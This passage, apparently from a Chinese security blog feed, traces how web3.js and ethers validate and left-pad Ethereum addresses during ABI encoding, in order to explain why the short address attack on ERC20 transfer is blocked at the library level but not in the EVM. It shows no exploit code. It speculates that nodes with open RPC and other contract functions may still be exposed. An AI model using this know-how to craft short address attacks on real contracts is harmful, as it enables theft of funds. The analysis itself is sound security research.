title="简介"></a>简介</h4><p>web3是一组用来和本地或远程以太坊节点进行交互的库，本质上是对以太坊节点暴露出来的<code>JSON-RPC</code>接口的封装，<code>web3.js</code>是其多个语言版本的实现之一</p><h4 id="分析"><a href="#分析" class="headerlink" title="分析"></a>分析</h4><p><code>web3.js</code>对合约的调用是通过如下形式进行的：</p><pre><code class="lang-js">contract_instance.methods.method_name.call()contract_instance.methods.method_name.send()</code></pre><p>其中<code>contract_instance</code>是合约的实例变量，<code>method_name</code>则是具体调用的合约方法</p><p>而<code>call()</code>和<code>send()</code>的区别则是：前者调用的是在合约中以<code>pure/view</code>声明的静态函数，不会改变合约状态；后者调用的是需要发起交易，会改变合约状态的函数</p><p>合约方法调用的相关代码在<code>web3.js/packages/web3-eth-contract/src/index.js</code>中</p><p><img src="/2020/08/17/以太坊源码学习-EVM与短地址攻击/func-executemethod.png" alt></p><p><code>_executeMethod</code>方法会先调用<code>_processExecuteArguments</code>对参数做处理</p><p><img src="/2020/08/17/以太坊源码学习-EVM与短地址攻击/func-processExecuteArguments.png" alt></p><p><code>_processExecuteArguments</code>函数主要构造调用的<code>options</code>，其中会调用<code>this.encodeABI</code>赋予<code>options.data</code></p><p><code>this.encodeABI</code>的定义在<code>_createTxObject</code>中，绑定的父类的<code>_encodeMethodABI</code>方法</p><p><img src="/2020/08/17/以太坊源码学习-EVM与短地址攻击/func-encodeMethodABI.png" alt></p><p><code>_encodeMethodABI</code>会调用<code>abi.encodeParameters</code>方法获取参数编码后的数据</p><p>而<code>abi</code>是在文件头部导入的<code>web3-eth-abi</code>包</p><p><img src="/2020/08/17/以太坊源码学习-EVM与短地址攻击/func-abi-require.png" alt></p><p>跟进<code>web3-eth-abi</code>中的<code>encodeParameters</code>函数</p><p><img src="/2020/08/17/以太坊源码学习-EVM与短地址攻击/func-encodeparameters.png" alt></p><p>大部分代码主要是对<code>object</code>和<code>string</code>类型的参数格式化处理，关键在最后返回的<code>ethersAbiCoder.encode</code>函数</p><p>在文件头部可以看到<code>ethersAbiCoder</code>是<code>@ethersproject/abi</code>包中的<code>AbiCoder</code>类的实例</p><p><img src="/2020/08/17/以太坊源码学习-EVM与短地址攻击/func-abicoder.png" alt></p><p>跟进<code>@ethersproject/abi</code>包中<code>AbiCoder</code>类的<code>encode</code>方法</p><p><img src="/2020/08/17/以太坊源码学习-EVM与短地址攻击/func-abicoder-encode.png" alt></p><p><code>AbiCoder</code>的<code>encode</code>方法中会先通过<code>_getCoder</code>获取编码器</p><p>在<code>_getCoder</code>函数中可以看到会根据参数的变量类型返回相应的编码器，其中针对地址类型的编码器<code>AddressCoder</code>位于<code>./coders/address</code>包中</p><p><img src="/2020/08/17/以太坊源码学习-EVM与短地址攻击/func-getcoder.png" alt></p><p>来到<code>coders/address.js</code>中</p><p><img src="/2020/08/17/以太坊源码学习-EVM与短地址攻击/func-addresscoder-encode.png" alt></p><p><code>AddressCoder.encode</code>函数中直接尝试调用<code>address_1.getAddress()</code>，而<code>address_1</code>是导入的<code>@ethersproject/address</code></p><p>我们来看<code>@ethersproject/address</code>中的<code>getAddress</code>函数</p><p><img src="/2020/08/17/以太坊源码学习-EVM与短地址攻击/func-getaddress.png" alt></p><p>很明显，<code>getAddress</code>函数中会先对地址的形式做校验，正则中的<code>{40}</code>必须匹配到40位长度，匹配之后还会计算校验和，否则就会在上层<code>encode</code>中的<code>try...catch</code>语句中抛出错误<code>Error: invalid address</code></p><p>另外除了<code>getAddress</code>函数中对地址形式的校验，<code>encode</code>函数在调用<code>address_1.getAddress()</code>之后，紧接着调用了<code>writer.writeValue</code>，而在<code>writeValue</code>函数中还会对地址参数进行左填充</p><p><img src="/2020/08/17/以太坊源码学习-EVM与短地址攻击/func-writevalue.png" alt></p><h4 id="测试"><a href="#测试" class="headerlink" title="测试"></a>测试</h4><p>在<code>node</code>中导入<code>web3.js</code></p><p><code>encodeFunctionCall</code></p><p><img src="/2020/08/17/以太坊源码学习-EVM与短地址攻击/node-encodefunctioncall.png" alt></p><p><code>encodeParameters</code>（改）</p><p><img src="/2020/08/17/以太坊源码学习-EVM与短地址攻击/node-encodeparameters-gai.png" alt></p><p><code>utils.isAddress</code></p><p><img src="/2020/08/17/以太坊源码学习-EVM与短地址攻击/web3-utils-isaddress.png" alt></p><h2 id="思考"><a href="#思考" class="headerlink" title="思考"></a>思考</h2><p>以太坊底层EVM并没有修复短地址攻击的这么一个缺陷，而是直接在<code>web3.js</code>里对地址做的校验，目前各种合约或多或少也做了校验，所以虽然EVM底层可以复现，但实际场景中问题应该不大，但如果是开放RPC的节点可能还是会存在这种风险</p><p><br></p><p>另外还有一个点，按底层EVM的这种机制，易受攻击的应该不仅仅是<code>transfer(address to, uint256 value)</code>这个点，只是因为这个函数是ERC20代币标准，而且参数的设计恰好能导致涉及金额的短地址攻击，并且特殊的地址易构造，所以这个函数常作为短地址攻击的典型。在其他的一些非代币合约，如竞猜、游戏类的合约中，一些非转账类的事务处理函数中，如果不对类似地址这种的参数做长度校验，可能也存在类似短地址攻击的风险，也或者并不局限于地址，可能还有其他的利用方式还没挖掘出来</p><p>目前还没有找到一个好的其他函数的例子做演示，文章就先写到这，后面有新发现再更新</p><p><br><br></p><h2 id="参考"><a href="#参考" class="headerlink" title="参考"></a>参考</h2><p>[1] 以太坊短地址攻击详解</p><p><a href="https://www.anquanke.com/post/id/159453" target="_blank" rel="noopener">https://www.anquanke.com/post/id/159453</a></p><p>[2] 以太坊源码解析：evm</p><p><a href="https://www.jianshu.com/p/f319c78e9714" target="_blank" rel="noopener">https://www.jianshu.com/p/f319c78e9714</a></p>]]></content>
    
    <summary type="html">
    
      
      
        &lt;h2 id=&quot;前言&quot;&gt;&lt;a href=&quot;#前言&quot; class=&quot;headerlink&quot; title=&quot;前言&quot;&gt;&lt;/a&gt;前言&lt;/h2&gt;&lt;p&gt;工作开始转向区块链安全研究，打算好好学习一下以太坊&lt;/p&gt;
&lt;p&gt;正好宇哥让写篇短地址攻击的文章，借此按短地址攻击的线索读了下EVM的源码，
      
    
    </summary>
    
    
      <category term="区块链" scheme="https://blog.0xhunya.com/categories/%E5%8C%BA%E5%9D%97%E9%93%BE/"/>
    
    
      <category term="智能合约" scheme="https://blog.0xhunya.com/tags/%E6%99%BA%E8%83%BD%E5%90%88%E7%BA%A6/"/>
    
      <category term="以太坊源码学习" scheme="https://blog.0xhunya.com/tags/%E4%BB%A5%E5%A4%AA%E5%9D%8A%E6%BA%90%E7%A0%81%E5%AD%A6%E4%B9%A0/"/>
    
  </entry>
  
</feed>
